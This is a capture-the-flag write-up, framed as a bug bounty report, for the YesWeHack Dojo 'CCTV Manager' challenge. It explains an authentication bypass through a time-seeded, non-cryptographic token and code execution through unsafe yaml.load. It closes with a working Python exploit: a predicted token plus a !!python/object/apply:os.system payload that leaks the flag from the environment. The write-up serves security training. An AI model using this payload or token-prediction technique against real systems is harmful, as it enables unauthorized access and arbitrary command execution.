Dojo #43
Challenge "CCTV Manager" du dojo de YesWeHack (août 2025)
Le
Le Dojo de YesWeHack est un espace d’entraînement pratique où les hunters peuvent développer leurs compétences en identifiant et exploitant des failles de sécurité à travers une série de défis dédiés au bug bounty. C'est pourquoi les articles de cette catégorie sont tournés comme des rapports de bug bounty.
📝 Summary
Two criticals vulnerabilities were discovered in the authentification process and in the YAML configuration loading mechanism of the application. The combination of a low-entropy time-based seed, a non-secure PRNG (random), and reliance on token equality for access control leads to a trivial authentication bypass. The core design does not account for secure randomness or tamper resistance in the authentication process. In addition, the use of yaml.load() with an insecure loader (yaml.Loader) enables arbitrary code execution through deserialization of a malicious YAML payload.
✍ Code
import time, yaml, random
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
class Firmware():
def __init__(self, version:str):
self.version = version
def update(self):
pass
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
def main():
tokenRoot = genToken(int(time.time()) // 1)
yamlConfig = unquote("")
tokenGuest = unquote("")
access = bool(tokenGuest == tokenRoot)
firmware = None
if access:
try:
data = yaml.load(yamlConfig, Loader=yaml.Loader)
firmware = Firmware(**data["firmware"])
firmware.update()
except:
pass
print( template.render(access=access) )
main()
🔍 Technical Details
1. Authentication Bypass via Predictable Token
- Affected file:
main.py - Location:
main() - Vulnerability Type: Predictable Token / Authentication Bypass
- Vulnerable code:
def genToken(seed:str) -> str: random.seed(seed) return ''.join(random.choices('abcdef0123456789', k=16)) # ... tokenRoot = genToken(int(time.time()) // 1)
🧠 Root cause
The root cause of the vulnerability lies in the use of the random module with a time-based seed for generating authentication tokens:
random.seed(seed)
random.choices(...)
Key Issues:
Predictable Seed The seed used (
int(time.time())) is based on the current Unix timestamp, which has low entropy and is predictable within a small window (± a few seconds). An attacker can easily guess or brute-force the correct timestamp.Use of Non-Cryptographic PRNG The Python random module is not designed for security-sensitive operations. It is deterministic and reproducible when seeded, making it unsuitable for token generation.
Token Verification Logic The application compares a user-supplied token (tokenGuest) with the one generated from the predictable logic (tokenRoot). This allows an attacker to bypass authentication by replicating the same token generation locally.
💥 Impact
An attacker can generate the correct tokenRoot by replicating the same genToken() function and using the approximate server time. This grants them unauthorized access to restricted areas or features of the application.
🛡️ Recommendation
Avoid using the random module with predictable seeds (such as timestamps) for generating security tokens. The random module is not cryptographically secure and should not be used for generating secrets.
2. Python object Deserialization
- Affected file:
main.py - Location:
main() - Vulnerability Type: Insecure Deserialization / Arbitrary Code Execution (YAML)
- Vulnerable code:
data = yaml.load(yamlConfig, Loader=yaml.Loader)
🧠 Root cause:
Using yaml.load() with yaml.Loader allows Python object deserialization, which can be exploited using the !!python/object/apply directive to execute arbitrary functions, such as os.system.
💥 Impact
An attacker can craft a payload using the !!python/object/apply directive to execute arbitrary Python functions — including system commands via os.system. This could lead to full server compromise, data exfiltration, malware deployment, or even privilege escalation if the application runs with elevated permissions.
🛡️ Recommendation
Avoid using yaml.load() with the default Loader as it can lead to arbitrary code execution when parsing untrusted input. Use yaml.safe_load() instead, which only loads basic YAML types and is safe for untrusted
✅ Proof of Concept (PoC)
import requests, time, random
def genToken(seed:str) -> str:
random.seed(seed)
return ''.join(random.choices('abcdef0123456789', k=16))
URL = "https://dojo-yeswehack.com/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
COOKIES = {
"jwt":"[REDACTED]"
}
tokenRoot = genToken(int(time.time()) // 1)
payload = """!!python/object/apply:os.system
- "$(env |grep FLAG) | sh"
"""
DATA = {
"yaml":payload,
"token":tokenRoot
}
r = requests.post(URL,cookies=COOKIES,data=DATA)
print(r.text)

Flag
FLAG{M4lware_F1rmw4r3_N0t_F0und}"